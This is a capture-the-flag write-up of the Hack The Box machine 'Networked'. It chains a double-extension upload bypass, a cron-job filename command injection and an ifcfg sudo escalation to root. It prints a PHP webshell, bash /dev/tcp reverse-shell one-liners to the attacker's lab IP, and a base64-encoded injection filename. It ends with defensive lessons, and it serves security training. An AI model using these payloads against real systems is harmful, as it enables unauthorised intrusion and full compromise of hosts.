~/writeups_
Hack The BoxEasyLinux

Networked

A file-upload form validates image extension and MIME magic bytes but permits a PHP double extension, which an Apache handler misconfiguration executes, yielding a shell as www-data. A cron job running as guly passes uploaded filenames unsanitised to exec(), so a filename containing shell metacharacters achieves command injection and a shell as guly. guly may run a network-configuration script as root that reads interface values into a config file, and a known ifcfg script-injection flaw turns those values into root command execution.

TL;DR

Networked is an Easy-difficulty Linux machine that chains three input-validation failures. A backup archive exposed under /backup leaks the site’s source, revealing that the upload form checks a file’s extension and MIME magic bytes but not a .php.png double extension — which a misconfigured Apache handler happily executes as PHP, giving a webshell and reverse shell as www-data. A cron job owned by guly feeds uploaded filenames straight into exec(), so a file named with shell metacharacters results in command injection and a shell as guly. Finally, guly may run a network-configuration script as root; the script reads interface values into an ifcfg file, and a well-known ifup script-injection flaw turns one of those values into command execution as root.

MachineOSDifficultyTarget IPPwnbox IP
NetworkedLinuxEasy10.129.79.21810.10.15.144

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.79.218 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sCV -p$ports 10.129.79.218

The scan returns:

Terminal window
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-05 01:25 +0300
Nmap scan report for 10.129.79.218
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.93 seconds

Two services are exposed: OpenSSH on 22 and an Apache 2.4.6 web server on 80, running PHP 5.4.16 on CentOS. Browsing to http://10.129.79.218 loads a near-empty page:

IMG-Networked-1

Directory enumeration

With little on the landing page, we brute-force for hidden content:

Terminal window
gobuster dir -u http://10.129.79.218 -w /usr/share/wordlists/dirb/common.txt
Terminal window
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.79.218
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 206]
.htaccess (Status: 403) [Size: 211]
.htpasswd (Status: 403) [Size: 211]
backup (Status: 301) [Size: 236] [--> http://10.129.79.218/backup/]
cgi-bin/ (Status: 403) [Size: 210]
index.php (Status: 200) [Size: 229]
[SKIP]

The backup directory is the interesting hit. Browsing to it shows a downloadable .tar archive:

IMG-Networked-2

Reviewing the leaked source

Extracting the archive gives us the web application’s source — index.php, lib.php, photos.php, and upload.php. Two checks stand out.

First, upload.php only accepts files whose name ends in an image extension:

list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}

Second, lib.php inspects the file’s MIME type and requires it to begin with image/:

function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}

Neither check is sufficient. The extension test uses substr_compare against the end of the filename, so it only cares that the name ends in .png (etc.) — it says nothing about what comes before. The MIME test reads the file’s leading bytes, so it is satisfied by any file that merely starts like an image. A filename such as shell.php.png, whose content begins with a PNG signature, passes both checks while still carrying a .php component in the middle of its name.

That matters because of how this Apache serves PHP. The server uses a handler directive like AddHandler php5-script .php that matches .php anywhere in the filename rather than only as the final extension. So a file saved as ...php.png is still routed to the PHP interpreter and executed. This is the classic double-extension bypass, and it is what makes the upload form an entry point.

Foothold

Crafting the polyglot webshell

We confirmed the upload directory also exists (/uploads appeared during enumeration), so we build a file that is valid enough to pass both checks yet runs PHP. Our payload is a minimal command webshell:

<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>

To satisfy the MIME check, we prepend the PNG magic bytes (89 50 4E 47 0D 0A 1A 0A) so file_mime_type() reports image/png, then append our PHP payload:

Terminal window
echo "89 50 4E 47 0D 0A 1A 0A" | xxd -p -r > mime_shell.php.png
cat shell.php >> mime_shell.php.png

The result is a polyglot: a file whose first bytes identify it as a PNG (passing the MIME check) and whose name ends in .png (passing the extension check), yet still contains .php so Apache executes it.

Uploading it returns a success message:

IMG-Networked-4

Executing commands

photos.php lists the uploaded files. Note that the application renames each upload after the uploader’s IP address, so our file lands as 10_10_15_144.php.png rather than its original name:

IMG-Networked-5

The thumbnail is “broken” because the browser tries to render our polyglot as an image. Opening it directly and supplying the cmd parameter executes commands through our webshell. For example, http://10.129.79.218/uploads/10_10_15_144.php.png?cmd=whoami returns the web user:

IMG-Networked-6

Reverse shell

With command execution confirmed, we upgrade to an interactive reverse shell. The payload we want executed is:

Terminal window
sh -i >& /dev/tcp/10.10.15.144/9001 0>&1

We start a listener on the Pwnbox:

Terminal window
nc -nlvp 9001

Then request the webshell with the payload URL-encoded (the special characters >&, /, and spaces must be encoded to survive as a query-string value):

http://10.129.79.218/uploads/10_10_15_144.php.png?cmd=sh -i >%26 %2Fdev%2Ftcp%2F10.10.15.144%2F9001 0>%261

Our listener catches a shell as www-data:

IMG-Networked-7

User

A cron job that trusts filenames

Enumerating the filesystem, we find guly’s home directory containing user.txt (not yet readable), a script check_attack.php, and a crontab file crontab.guly:

Terminal window
*/3 * * * * php /home/guly/check_attack.php

So check_attack.php runs as guly every three minutes. Its contents:

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>

Why a crafted filename gives command execution

The script walks every file in /var/www/html/uploads/, and for each one calls check_ip($name, $value). That function validates whether the filename looks like an IP address (the application names legitimate uploads after the uploader’s IP). When a filename fails that check, the script decides it is an “attack” and tries to delete the offending file with:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

The crucial flaw is that $value — the raw filename — is concatenated straight into the command string and handed to exec() with no escaping or quoting. exec() runs that string through /bin/sh, so any shell metacharacter in the filename is interpreted by the shell rather than treated as part of the filename. If we create a file whose name contains a ;, the shell will end the rm command at the semicolon and run whatever we put next as a second command — classic command injection, except the “input” is a filename on disk rather than a request parameter.

So our plan is to drop a file in /uploads whose name:

  1. Fails the IP-format check (so the vulnerable exec branch runs), and
  2. Contains shell syntax that spawns a reverse shell.

There is one practical constraint: a filename cannot contain a /, and our reverse-shell payload is full of them (/dev/tcp/...). We work around this by Base64-encoding the payload — its output has no slashes we need — and decoding it at execution time. The payload:

Terminal window
bash -i >& /dev/tcp/10.10.15.144/9002 0>&1

We encode it:

Terminal window
echo -n 'bash -i >& /dev/tcp/10.10.15.144/9002 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNDQvOTAwMiAwPiYx

Now we create a file whose name injects a command. Reading the name as the shell will: a leading a is the harmless “filename” the rm deletes, the first ; terminates the rm, and the remaining text decodes our payload and pipes it into bash:

Terminal window
cd /var/www/html/uploads
touch 'a; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNDQvOTAwMiAwPiYx" | base64 -d | bash;'

When the cron job next processes this file, the exec call expands to:

Terminal window
nohup /bin/rm -f /var/www/html/uploads/a; echo "YmFz...PiYx" | base64 -d | bash; > /dev/null 2>&1 &

The shell runs three statements: it removes the file a, then decodes and executes our reverse shell, then handles the trailing redirection. The injected bash connects back to us.

We confirm the file was created with the expected name:

Terminal window
sh-4.2$ cd /var/www/html/uploads
cd /var/www/html/uploads
sh-4.2$ touch 'a; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNDQvOTAwMiAwPiYx" | base64 -d | bash;'
sh-4.2$ ls
ls
10_10_15_144.php.png
127_0_0_1.png
127_0_0_2.png
127_0_0_3.png
127_0_0_4.png
a; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNDQvOTAwMiAwPiYx" | base64 -d | bash;
index.html

Start the listener on port 9002:

Terminal window
nc -lvnp 9002

Within three minutes, the cron job fires and we receive a shell as guly:

Terminal window
$ nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.15.144] from (UNKNOWN) [10.129.79.218] 34142
bash: no job control in this shell
[guly@networked ~]$

We read the user flag:

Terminal window
[guly@networked ~]$ cat user.txt
04c*****************************

Privilege Escalation

We check guly’s sudo rights:

Terminal window
sudo -l
Terminal window
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh

guly can run /usr/local/sbin/changename.sh as root without a password. Its contents:

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0

Why the ifcfg values run as root

The script prompts for four interface values and appends each as a KEY=value line to /etc/sysconfig/network-scripts/ifcfg-guly, then brings the interface up with /sbin/ifup guly0.

The weakness is in how these ifcfg-* files are consumed. On this CentOS/RHEL release, ifup ultimately invokes network scripts that source the config file — the KEY=value lines are evaluated by the shell, not merely read as data. This behaviour is documented in a 2019 full-disclosure advisory: a NAME value containing a space followed by a command is split so that the trailing portion is executed by the sourcing shell, and because ifup runs as root, the injected command runs as root too.

The script’s input filter, ^[a-zA-Z0-9_\ /-]+$, does not stop this — it explicitly permits spaces (\ ) and slashes (/), which is exactly what we need to write a path to a command. So when prompted for NAME, we supply a value that is parsed as two tokens: a dummy name and a command to execute.

We run the script and set NAME to test /bin/bash (the remaining prompts can be any valid value):

Terminal window
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test /bin/bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test

When ifup sources the config file, the /bin/bash portion of the NAME value is executed as root, dropping us into a root shell. We read the root flag:

Terminal window
# cat /root/root.txt
********************************
Rooted

Leaked source via /backup → file-upload double-extension bypass (.php.png) executed by a misconfigured Apache handler for a shell as www-data → unsanitised filename passed to exec() in guly’s cron job for command injection as guly → ifcfg script injection via the sudo-allowed changename.sh for a shell as root.

Lessons Learned

  • Validate uploads by more than extension and magic bytes. The form checked that a name ended in an image extension and that the content started like an image, and both were trivially satisfied by a .php.png polyglot. Enforce a single, final extension, store uploads outside the web root (or in a location with execution disabled), and never let the webserver run uploaded content.
  • Anchor handler directives. AddHandler php5-script .php matching .php anywhere in a filename is what turned a bypassed upload into code execution. Use <FilesMatch> with a properly anchored pattern, or SetHandler scoped so only true .php files are interpreted.
  • Never build shell commands from untrusted input — including filenames. The cron job concatenated a raw filename into exec(), so a filename alone was enough to inject commands. Treat filenames as untrusted data: use argument arrays / escapeshellarg(), or avoid the shell entirely (unlink() instead of shelling out to rm).
  • Beware config files that are sourced, not parsed. ifup evaluating ifcfg-* values as shell meant a network-name field became root command execution. A permissive allow-list that lets through spaces and slashes is no substitute; sanitise against the actual sink, and keep sudo-granted scripts minimal and free of attacker-controlled input.